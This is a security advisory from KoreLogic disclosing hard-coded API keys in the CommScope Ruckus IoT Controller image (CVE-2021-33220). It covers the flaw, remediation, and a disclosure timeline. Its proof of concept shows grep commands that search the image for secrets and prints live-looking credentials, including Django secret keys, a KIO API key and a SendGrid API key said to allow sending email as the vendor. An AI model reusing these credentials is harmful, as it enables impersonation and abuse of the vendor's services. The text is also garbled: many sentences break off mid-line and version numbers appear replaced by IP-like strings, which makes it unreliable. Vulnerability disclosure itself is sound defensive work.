KL-001-2021-002: CommScope Ruckus IoT Controller Hard-coded API Keys Exposed
Title: CommScope Ruckus IoT Controller Hard-coded API Keys Exposed
Advisory ID: KL-001-2021-002
Publication Date: 2021.05.26
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2021-002.txt
1. Vulnerability Details
Affected Vendor: CommScope
Affected Product: Ruckus IoT Controller
Affected Version: 220.127.116.11 and earlier
CWE Classification: CWE-798: Use of Hard-coded Credentials
CVE ID: CVE-2021-33220
2. Vulnerability Description
API keys for CommScope Ruckus are included in the IoT
Controller OVA image, and are exposed to attackers who mount
3. Technical Description
Ruckus vRIoT server software is available from the software
library at: https://support.ruckuswireless.com/software/
Once the OVA is imported into VirtualBox, a VMDK file is
created. The VMDK file can be mounted and the directory
structure and its contents can be perused. The virtual appliance
contains clear text API keys that are hard-coded into the
web application code. The API keys can be abused to gain
information about deployed assets and send email via SendGrid
as Commscope/Ruckus. While the AWS SECRET_KEY is exposed,
an ACCESS_KEY is not.
4. Mitigation and Remediation Recommendation
The vendor has released an updated firmware (18.104.22.168) which
remediates the described vulnerability. Firmware and release
notes are available at:
This vulnerability was discovered by Jim Becher (@jimbecher)
of KoreLogic, Inc.
6. Disclosure Timeline
2021.03.30 - KoreLogic submits vulnerability details to
2021.03.30 - CommScope acknowledges receipt and the intention
2021.04.06 - CommScope notifies KoreLogic that this issue,
along with several others reported by KoreLogic,
will require more than the standard 45 business
day remediation timeline.
2021.04.06 - KoreLogic agrees to extend disclosure embargo if
2021.04.30 - CommScope informs KoreLogic that remediation for
this vulnerability will be available inside of the
standard 45 business day timeline. Requests
KoreLogic acquire CVE number for this
2021.05.14 - 30 business days have elapsed since the
vulnerability was reported to CommScope.
2021.05.17 - CommScope notifies KoreLogic that the patched
version of the firmware will be available the week
2021.05.19 - KoreLogic requests CVE from MITRE.
2021.05.19 - MITRE issues CVE-2021-33220.
2021.05.25 - CommScope releases firmware 22.214.171.124 and associated
2021.05.26 - KoreLogic public disclosure.
7. Proof of Concept
With the VMDK file mounted at the current working directory:
root@vriot:/# grep -R 'KIO_API_KEY' /VRIOT/ 2>/dev/null
./VRIOT/backend/settings/defaults.py:KIO_API_KEY = os.environ.get("KIO_API_KEY", "wxtPbzgNNWFlfBqhDfEDoZkQUxtnhWTq")
$ egrep -r 'SECRET_KEY|ACCESS_KEY' ./VRIOT/*
./VRIOT/authServer/app/baseapp/settings.py:SECRET_KEY = 'db$04-yk#-3&=54s78d-tvu!+e3#621kj9s!3g$x3t^@m1m6#i'
./VRIOT/backend/settings/settings.py:SECRET_KEY = '%u9-#a6eo0!ukif-+kcg3=gc-zlh8o3@)rz@!-74(g*xa0c#bb'
Binary file ./VRIOT/backend/lora/lorawan126.96.36.199.tar matches
Binary file ./VRIOT/ops/scripts/image_push.pyc matches
./VRIOT/ops/sqlite_modules/aws4/README.md:// or it can get credentials from process.env.AWS_ACCESS_KEY_ID, etc
./VRIOT/ops/sqlite_modules/aws4/README.md:(will also use `AWS_ACCESS_KEY` and `AWS_SECRET_KEY` if available)
./VRIOT/ops/sqlite_modules/aws4/aws4.js: accessKeyId: env.AWS_ACCESS_KEY_ID || env.AWS_ACCESS_KEY,
./VRIOT/ops/sqlite_modules/aws4/aws4.js: secretAccessKey: env.AWS_SECRET_ACCESS_KEY || env.AWS_SECRET_KEY,
$ more ./VRIOT/authServer# more app/baseapp/settings.py
# Email server settings.
EMAIL_HOST = 'smtp.sendgrid.net'
EMAIL_HOST_USER = 'apikey'
EMAIL_HOST_PASSWORD = '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'
EMAIL_PORT = 587
EMAIL_USE_TLS = True
the SendGrid password identified above is actually an API key, which can be
used with the 'apikey' user to send email through the SendGrid platform as
The contents of this advisory are copyright(c) 2021
KoreLogic, Inc. and are licensed under a Creative Commons
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